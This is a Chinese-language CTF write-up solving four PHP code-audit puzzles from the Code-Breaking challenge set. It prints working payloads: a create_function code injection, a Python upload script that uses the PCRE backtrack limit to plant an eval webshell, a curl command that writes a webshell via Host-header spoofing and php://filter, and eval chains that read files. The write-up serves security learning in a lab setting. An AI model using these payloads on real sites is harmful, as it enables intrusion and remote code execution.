之前看到ph师傅代码审计星球的广告,看了第一道题就觉得蛮有意思的,于是就入了一波2333,简单记录一下自己能做的或是找到wp学习的题目..顺手推广一下..
链接:https://code-breaking.com/puzzle/1/
easy - function
源码
1 2 3 4 5 6 7 8 9 <?php $action = $_GET ['action' ] ?? '' ;$arg = $_GET ['arg' ] ?? '' ;if (preg_match ('/^[a-z0-9_]*$/isD' , $action )) { show_source (__FILE__ ); } else { $action ('' , $arg ); }
思路
首先看到动态调用的action做了正则限制,所以想办法绕正则,一开始想通过范围解释操作符来绕
1 比如SimpleXMLElement::xpath
但是找了很久,发现很多东西都用不起来,因为很难找到第一个参数为空的有用的东西.没办法再去找了找资料
然后发现可以通过命名空间来绕过前面的限制,比如var_dump
表示全局命名空间
但是又有什么函数可以第一个参数为空呢?
想到hitcon出现过的create_function
利用多线程暴破匿名函数
显然create_function是可以用的
弃用无所谓,后面发现还是可以用的
create_function
可能存在的问题也很明显,就是代码注入,比如
从而可以任意代码执行,但是又碰到问题了
1 2 3 disable functions system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,putenv,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log
想到flag肯定是文件形式,那么用scandir
就好,在上一级目录发现flag
用file_get_contents
获取flag,最终payload
1 http://51.158.75.42:8087/?action=create_function&arg=echo%20%22123%22;}var_dump(file_get_contents(%27../flag_h0w2execute_arb1trary_c0de%27));/*
拿到返回
1 2 3 4 Deprecated: Function create_function () is deprecated in /var /www/html/index.php on line 8 Warning: Unterminated comment starting line 1 in /var /www/html/index.php (8 ) : runtime-created function on line 1 string (38 ) "flag {03 fdc0ee2fc464aac3c40ef0e20dcb5a}"
easy - pcrewaf
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php function is_php ($data ) { return preg_match ('/<?.*[(`;?>].*/is' , $data ); } if (empty ($_FILES )) { die (show_source (__FILE__ )); } $user_dir = 'data/' . md5 ($_SERVER ['REMOTE_ADDR' ]);$data = file_get_contents ($_FILES ['file' ]['tmp_name' ]);if (is_php ($data )) { echo "bad request" ; } else { @mkdir ($user_dir , 0755 ); $path = $user_dir . '/' . random_int (0 , 10 ) . '.php' ; move_uploaded_file ($_FILES ['file' ]['tmp_name' ], $path ); header ("Location: $path " , true , 303 ); }
思路
一开始头铁,觉得能过这个正则.. 也确实可以,在php7以下可用
1 <script language="php" >phpinfo ();</script>
具体可以去看php的源码 php7之前的最高版本5.6.39 https://github.com/php/php-src/blob/PHP-5.6.39/Zend/zend_language_scanner.l
而一到php7就没这种解析了
而目标环境就是php7,到这里我就已经不会了... 后来看的wp https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
说到底就是PHP的pcre.backtrack_limit限制利用,当回溯次数超过限制的时候,正则表达式会返回false,而不是0或1
那么就可以利用这个点来进行攻击,poc的话前面的链接也有
1 2 3 4 5 6 7 8 9 import requestsfrom io import BytesIOfiles = { 'file' : BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000 ) } res = requests.post('http://51.158.75.42:8088/index.php' , files=files, allow_redirects=False ) print (res.headers)
想要避免这个问题,在使用的时候用===
来判断而不是==
或直接判断
easy - phpmagic
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 <?php if (isset ($_GET ['read-source' ])) { exit (show_source (__FILE__ )); } define ('DATA_DIR' , dirname (__FILE__ ) . '/data/' . md5 ($_SERVER ['REMOTE_ADDR' ]));if (!is_dir (DATA_DIR)) { mkdir (DATA_DIR, 0755 , true ); } chdir (DATA_DIR);$domain = isset ($_POST ['domain' ]) ? $_POST ['domain' ] : '' ;$log_name = isset ($_POST ['log' ]) ? $_POST ['log' ] : date ('-Y-m-d' );?> <!doctype html> <html lang="en" > <head> <!-- Required meta tags --> <meta charset="utf-8" > <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" > <!-- Bootstrap CSS --> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/css/bootstrap.min.css" integrity="sha256-eSi1q2PG6J7g7ib17yAaWMcrr5GrtohYChqibrV7PBE=" crossorigin="anonymous" > <title>Domain Detail</title> <style> pre { width: 100 %; background-color: border-radius: 3 px; font-size: 85 %; line-height: 1.45 ; overflow: auto; padding: 16 px; border: 1 px solid } </style> </head> <body> <div class ="container "> <div class ="row "> <div class ="col "> <form method ="post "> <div class ="input -group mt -3"> <div class ="input -group -prepend "> <span class ="input -group -text " id ="basic -addon1 ">dig -t A -q </span > </div > <input type ="text " name ="domain " class ="form -control " placeholder ="Your domain "> <div class ="input -group -append "> <button class ="btn btn -outline -secondary " type ="submit ">执行</button > </div > </div > </form > </div > </div > <div class ="row "> <div class ="col "> <pre class ="mt -3"><?php if (!empty ($_POST ) && $domain ): $command = sprintf ("dig -t A -q %s ", escapeshellarg ($domain )); $output = shell_exec ($command ); $output = htmlspecialchars ($output , ENT_HTML401 ENT_QUOTES ); $log_name = $_SERVER ['SERVER_NAME '] . $log_name ; if (!in_array (pathinfo ($log_name , PATHINFO_EXTENSION ), ['php ', 'php3 ', 'php4 ', 'php5 ', 'phtml ', 'pht '], true )) { file_put_contents ($log_name , $output ); } echo $output ; endif ; ?> </pre> </div> </div> </div> </body> </html>
思路
简单审计一下,发现可以把dig的结果存到一个文件,那么就可以利用这一点来写shell,后面进行了一个简单的判断,然后用file_put_contents
来写文件,简单测试一下
那么写文件就不成问题了,那么问题是怎么写shell呢?
尖括号都会被转义掉,这里本来考虑到了伪协议的问题,不过卡在了$_SERVER['SERVER_NAME']
的绕过
后来看到
还是不太明白,看看英文版
'SERVER_NAME' The name of the server host under which the current
script is executing. If the script is running on a virtual host, this
will be the value defined for that virtual host. Note: Under Apache 2,
you must set UseCanonicalName = On and ServerName. Otherwise, this value
reflects the hostname supplied by the client, which can be spoofed. It
is not safe to rely on this value in security-dependent contexts.
发现可以由hostname伪造,试试看改host 那么
1 file_put_contents ($log_name , $output );
这个log_name
就是可控的,从而可以通过伪协议写shell
用伪协议的时候将domain
给base一下,然后控制log_name
来解base,从而还原shell
注意base的时候pad到字符是4的倍数,我这里多试了几次
1 curl -X POST -d 'domain=PD9waHAKZXZhbCgkX0dFVFsnYmxhY3NoZWVwJ10pOwo/Pg&log=://filter/write=convert.base64-decode/resource=blacsheep3.php/.' -H "Host: php" 'http://51.158.75.42:8082/'
然后拿到shell
easy - phplimit
源码
1 2 3 4 5 6 <?php if (';' === preg_replace ('/[^W]+((?R)?)/' , '' , $_GET ['code' ])) { eval ($_GET ['code' ]); } else { show_source (__FILE__ ); }
分析
2018rctf的r-cursive的一部分 参考:https://xz.aliyun.com/t/2347
看到他们之前的payload 尝试getallheaders但是失败了,又看到
1 2 3 ?cmd=print(readdir(opendir(getcwd()))); 可以列目录 ?cmd=print(readfile(readdir(opendir(getcwd())))); 读文件 ?cmd=print(dirname(dirname(getcwd()))); print出/var/www
稍作修改,获得下面的payload http://51.158.75.42:8084/?code=print_r%28readfile%28array_rand%28array_flip%28scandir%28dirname%28chdir%28dirname%28getcwd%28%29%29%29%29%29%29%29%29%29%3B
因为设计到array_rand,所以只是可能拿到flag...
多刷几次就好,主要还是通过dirname获取目录来进行返回 后来看了一波wp..
两种方法
get_defined_vars
所以直接用就好
注意把a(命令参数)放在前面,方便执行的时候先执行然后加注释,不然执行不了命令,比如scandir()
就会爆内存
然后拿到flag
另一种绕过
code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
用的array_reverse()
和next()
绕过的